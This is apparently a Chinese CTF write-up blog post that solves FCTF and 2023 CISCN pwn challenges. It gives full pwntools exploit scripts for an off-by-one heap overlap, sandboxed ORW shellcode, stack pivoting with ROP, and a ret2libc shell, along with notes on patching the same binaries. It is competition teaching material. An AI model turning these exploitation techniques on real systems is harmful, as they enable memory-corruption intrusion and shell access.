FCTF

题录

Pwn warmup 1

保护全开

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/main'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/glibc/glibc-2.31/build/lib'

附件有给源代码,粗读一遍判定为菜单类堆题

程序开头会直接给出flag的地址

考虑如何利用,细读源码发现edit函数存在off-by-one漏洞

1
2
3
4
5
6
7
void edit(void) {
note_t *note = get_note();
if (!note) { puts("Not found"); return; }
int len = strlen(note->content);
printff("New content: ");
read_str(note->content, len);
}

strlen函数到\x00结束,如果某个chunk能占用下一个chunk的prev_size则能覆盖下一个chunk的size

可以用这个漏洞来达到chunk extended and overlapping的目的

再看add函数,进行add函数时

  1. 首先创建一个chunk用于一个该note信息管理
  2. 再创建一个用户自定义大小的chunk用于存储内容

这两个chunk是黏在一起的

于是,我们可以这样利用

创建3个note

  1. note0用于触发off-by-one
  2. note1用于释放重分配以达到chunk extended and overlapping
  3. note2用于触发show功能读取flag

具体步骤

我创建的三个note的content大小都为24且初始填满(1和2填不填无所谓),方便利用

  1. edit修改note0,使note1的size为一个能够覆盖到note2的content指针的大小
  2. 释放note1
  3. 再add一个note,content大小为能使分配到的chunk为之前释放的note1的content,并填充内容覆盖note2的content指针
  4. 对note2进行show,得到flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*
p=remote('1.12.48.154',8888)
p.recvuntil(b'addr: ')
a=p.recv()[0:15]
e=int(a,16)
#第0个note
p.send(b'1')
p.recv()
p.send(b'24')
p.recv()
p.send(b'a'*24)
p.recv()
#第1个note
p.send(b'1')
p.recv()
p.send(b'24')
p.recv()
p.send(b'a'*24)
p.recv()
#第2个note
p.send(b'1')
p.recv()
p.send(b'24')
p.recv()
p.send(b'a'*24)
p.recv()
#修改第0个note
p.send(b'2')
p.recv()
p.send(b'0')
p.recv()
p.send(b'A'*24+b'\x61')
p.recv()
#释放第1个note
p.send(b'3')
p.recv()
p.send(b'1')
p.recv()
#再分配一个note
p.send(b'1')
p.recv()
p.send(b'80')
p.recv()
p.send(b'a'*64+p64(e))
p.recv()
#show
p.send(b'4')
p.recv()
p.send(b'2')
p.interactive()

以上是我第一次做的思路,这样做的话对note1的content大小没有什么要求

后面我发现其实只要两个note也能实现得到flag

不过对note1的content大小有严格要求

因为如果note1的content实际chunk大小为0x20的话

再分配note1的时候,note1头的chunk因为大小合适,直接取的之前被释放的note1的content的chunk

又因为之前的chunk overlapping

所以note1的content就包含了note1的头,可以直接修改note1的content指针

再show-note1得到flag

顺便尝试了下函数写法

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import*
p=remote('1.12.48.154',8888)
p.recvuntil(b'addr: ')
a=p.recv()[0:15]
e=int(a,16)
def add(size,content):
p.send(b'1')
p.recv()
p.send(str(size))
p.recv()
p.send(content)
p.recv()

def edit(idx,content):
p.send(b'2')
p.recv()
p.send(str(idx))
p.recv()
p.send(content)
p.recv()

def delete(idx):
p.send(b'3')
p.recv()
p.send(str(idx))
p.recv()

#第0个note
add(24,b'a'*24)
#第1个note
add(24,b'a'*24)
#修改第0个note
edit(0,b'A'*24+b'\x41')
#释放第1个note
delete(1)
#再分配一个note
add(48,b'a'*32+p64(e))
#show
p.send(b'4')
p.recv()
p.send(b'1')
p.interactive()
实操调试的一些小细节

主要还是一些关于stdin的细节,当程序读取n个字节时,可以发送多余n的字节,程序读取完后,剩余的数据依然会被保留在stdin中,相邻的输入函数又会直接读取其中的数据,而这可能并不是我们所期望的,这样如果没有注意把控字节数的话,调试的时候可能出一些问题,例如菜单式题目直接从stdin中读取一个数据,读到了非菜单区号数据,那么程序的运行就会受阻;又或者程序读取的数据,并没有包含整个我们需要的数据,又会出现问题

总之需要注意发送的数据与接收的数据数量对应关系,特别要注意\n符

shellcode1

checksec

1
2
3
4
5
6
7
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/aichch/pwn/s1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

ida打开,程序执行并不复杂

1
2
3
4
5
6
7
8
9
10
11
fwrite("Input your shellcode:\n", 1uLL, 0x16uLL, _bss_start);
read(0, buf, 0x100uLL);
if ( strlen((const char *)buf) <= 5 )
{
sandbox();
((void (*)(void))buf)();
}
else
{
fwrite("Oops! maybe too long!\n", 1uLL, 0x16uLL, _bss_start);
}

可以通过再payload前添加’\x00’绕过strlen的检测,但单独一个‘\x00’会使得程序流停滞,故可以让’\x00’和push联合作为一条指令—-push 0h(\x6a00)

另外程序开启了沙盒,只能使用orw操作

exp:

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
#p=process('./s1')
p=remote('1.12.48.154',2225)
context(os='linux', arch='amd64') #不进行这一步会出错,因为默认是32位
#gdb.attach(p)
sh=shellcraft.open('./flag')
sh+=shellcraft.read(3,'rsp',100)
sh+=shellcraft.write(1,'rsp',100)
sh=asm(sh)
p.send(b'\x6a\x00'+sh)
p.interactive()

另外提一下,程序进行时stdin,stdout,stderr三个文件流是自行打开的,文件描述符分别是0,1,2

故之后打开的文件的描述符是从3开始的

shellcode2

这题没做出来,汇编忘得差不多了,还是太依赖ida的反汇编了😥

赛后看大佬的wp才恍然大悟


这题在于程序一次只能执行四个字节长度的代码,故如果要连接各串代码还需要用到jmp指令,又占去了一半的长度,

再加上程序还会随机打乱代码顺序

想直接完成orw几乎不可能

但可以观察到

1
2
3
4
5
.text:00000000000016DA 48 8B 45 F0                   mov     rax, [rbp+var_10]
.text:00000000000016DE 48 83 C0 10 add rax, 10h
.text:00000000000016E2 48 89 C2 mov rdx, rax
.text:00000000000016E5 B8 00 00 00 00 mov eax, 0
.text:00000000000016EA FF D2 call rdx

程序是通过rdx跳往代码执行处的

那么第一次只需要向rdx处写命令,并在前面填充一些nop,程序流继续往下执行就会执行新写的命令了

那么第一次执行的代码因该就要是read(0,rdx,rdx),长度不用指定只要够大就行

因为syscall要在最后执行,所以只有四分之一的成功率

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
#p = process('./sc2')
p = remote("1.12.48.154", 2226)
context.arch = 'amd64'

next_slot = ';jmp $+30'
def gen_slot(code):
return code + next_slot

preamble = []
preamble.append(gen_slot('xor edi, edi')) #不能是rdi,汇编代码三个字节
preamble.append(gen_slot('xor eax, eax')) #同上
preamble.append(gen_slot('push rdx;pop rsi')) #mov rsi,rdx是三个字节长度
preamble.append(gen_slot('syscall'))
sc = '''
movabs rax, 0x67616c66
push rax
mov rdi, rsp
xor rsi, rsi
mov rax, 0x2
syscall
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x100
syscall
mov rax, 1
mov rdi, 1
syscall
'''
p.sendafter(b'want?\n', b'4')
for i in range(4):
p.send(asm(preamble[i]))

p.send(b'\x90'*0x100 + asm(sc))
print(p.recvuntil(b'Fire!\n'))
print(p.recv())

因为open函数执行后,文件描述符存储在rax,所以直接rax赋值给rdi就行了

Play-with-rop

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

存在溢出但只能控制rbp和rip,故需要先进行栈迁移

第一次通过再调用一次main中的read往迁移后的rbp-0x30写来进一步获得栈迁移的能力

之后栈迁移后利用puts函数将broken_keys打印出来,在跳转到wonderland获得加密后的flag

这题不算很难,但做的时候栈迁移的位置不好,被printf的栈越界卡住了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
#p = process("./chall")
#context.log_level = 'debug'
p = remote("1.12.48.154", 2224)
elf = ELF('./chall')

puts = elf.plt['puts']
pop_rdi_rsi_rdx = 0x4012A9

key0_addr = 0x4040B0
key1_addr = key0_addr + 0x8
key2_addr = key1_addr + 0x8

lea_ret = 0x04016B4
read_again = 0x401686 #这个read是往rbp-0x30写
wonderland = 0x4012D6

fake_rbp = 0x404600 + 0x880 # +0x880 to ensure fake stack is large enough for puts

payload = b'a' * 0x30 + p64(fake_rbp) + p64(read_again)
#gdb.attach(p)
#pause()
p.sendafter(b'leave your name', payload)

payload2 = p64(pop_rdi_rsi_rdx) + p64(0) + p64(fake_rbp-0x30) + p64(0x100) + p64(elf.plt['read']) + p64(0) + p64(fake_rbp-0x38) + p64(lea_ret)
p.send(payload2)

payload3 = b'a'*0x28 + p64(pop_rdi_rsi_rdx) + p64(key0_addr) + p64(0)*2 + p64(puts) + p64(pop_rdi_rsi_rdx) + p64(0) * 3 + p64(wonderland)
p.send(payload3)
data = p.recvuntil(b'flag:')
keys = data[77:77+24] # 77是通过计算字符数得到的,不晓得为什么先接收77个字节再改动keys不能成功
k0 = u64(keys[:8])
k1 = u64(keys[8:16]) ^ k0
k2 = u64(keys[16:24]) ^ k1
print(hex(k0), hex(k1), hex(k2))

flag = p.recv().strip()
real_flag = b''
real_flag += (u64(flag[:8]) ^ k0).to_bytes(8, byteorder='little')
real_flag += (u64(flag[8:16]) ^ k1).to_bytes(8, byteorder='little')
real_flag += (u64(flag[16:24]) ^ k2).to_bytes(8, byteorder='little')
real_flag += (u64(flag[24:32]) ^ k0).to_bytes(8, byteorder='little')
real_flag += (u64(flag[32:40]) ^ k1).to_bytes(8, byteorder='little')
real_flag += (u64(flag[40:48]) ^ k2).to_bytes(8, byteorder='little')
print(real_flag)

拾遗

0x1不要过于依赖反汇编

很多细节其实是藏在汇编代码中的,如果过于依赖反汇编就很难发现这部分细节

0x2用pwntools汇编注意设置环境

pwntools,asm功能默认是在i386下,如果不设置环境的可能会出大错

0x3出现过的库函数皆可使用

只要函数被调用过,并布置好参数,所有的库函数都可以被使用,太久没做栈迁移,竟然忘记用可以用read部署了……….

0x4栈迁移的地址选择

printf和puts等函数调用时使用的栈空间较大,栈迁移后如果迁移位置不合适,很可能会造成内存越界,访问不可写的内存空间,从而产生段错误,故迁移位置一定要足够合适,一般至少要留0x800的可写空间

2023ciscn华东南

login

patch

栈溢出,buf的大小是0xf0

但是读入0x100会造成栈溢出

patch输入大小为0xf1即可,不晓得为什么0xf0不行

attack

防御只开了nx和got表保护

溢出有限

必然要栈迁移

然后泄露地址,并再次返回到read数据段处

然后因为要防止栈越界

要通过read再次调整栈到高处

最后getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import*
lr=0x40136E
r=0x40101a
bss=0x404060
bssplus=bss+0xa00
pop_rdi=0x4013d3
pop_rsi_r15=0x4013d1
readagain=0x401353
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./login')
p=process('./login')
#p=remote('175.20.28.11',9999)
p.recv()
p.send(b'a'*0xf0+p64(bss+0x48)+p64(lr))#栈迁移
gdb.attach(p)
pause()
print(p.recv())
payload=p64(0)*9+p64(bss+0x38)#第二次栈迁移准备,因为可控地区只有这里,只能重新回到这,+0x38防止越界,至于0x38是怎么来的只能靠经验或者调试了
payload+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])#泄露地址
payload+=p64(r)+p64(readagain)#第二次栈迁移

p.send(payload)

puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
binsh=libc_base+next(libc.search(b'/bin/sh'))
system_addr=libc_base+libc.symbols['system']
gets_addr=libc_base+libc.symbols['gets']

print(hex(puts_addr))
print(hex(libc_base))

payload=p64(0)*7+p64(bssplus)+p64(pop_rdi)#第三次栈迁移准备
payload+=p64(0)+p64(pop_rsi_r15)+p64(bssplus)+p64(0)+p64(elf.plt['read'])#rdx几乎不会改变,保持之前的0x90,故不用布置 #并read往第三次栈迁移目标方向布置栈
payload+=p64(lr)#第三次栈迁移

p.send(payload)
p.send(p64(bssplus)+p64(pop_rdi)+p64(binsh)+p64(r)+p64(system_addr))#getshell,注意栈对齐
p.interactive()

主要就是栈迁移,不过为了防止栈越界,不得不做更多的布置

拾遗

gdb和pause组合有时会产生各种各样的牛马问题,二者单独存在问题不大,但一组合就需要谨慎区别了,确认exp无问题就去掉二者,不然exp对了也无法getshell

又发现,就算二者组合,只要没有在gdb中操控程序则不会出现问题

houmt

patch

存在uaf漏洞

添加置0功能,但显然不能在原来的位置,否则会覆盖其他代码

选择在eh.frame节上增加功能

首先修改权限,rwx

之后再eh.frame上找一个合适的位置打上补丁

同样先调用free,之后再重新获得偏移并寻址置零

patch成功

拾遗

当要修改的长度大于原有长度时,就需要跳转到别处执行,执行后再返回到原处

一般选择eh.frame节或者.fini节

notepad

patch

发现,依然存在uaf,free后只是将存储的chunk的大小置零,而并没有将指针置零

与上一题很像,但据师傅们所说,按照上一题的方法会存在异常

于是可以利用原语句中将size置零,去掉偏移即是指针置零

将偏移变为0,patch成功

拾遗

合理利用偏移有时候能达到意想不到的效果

MaskNote

patch

连接字符串长度超过其原有长度

修改

patch成功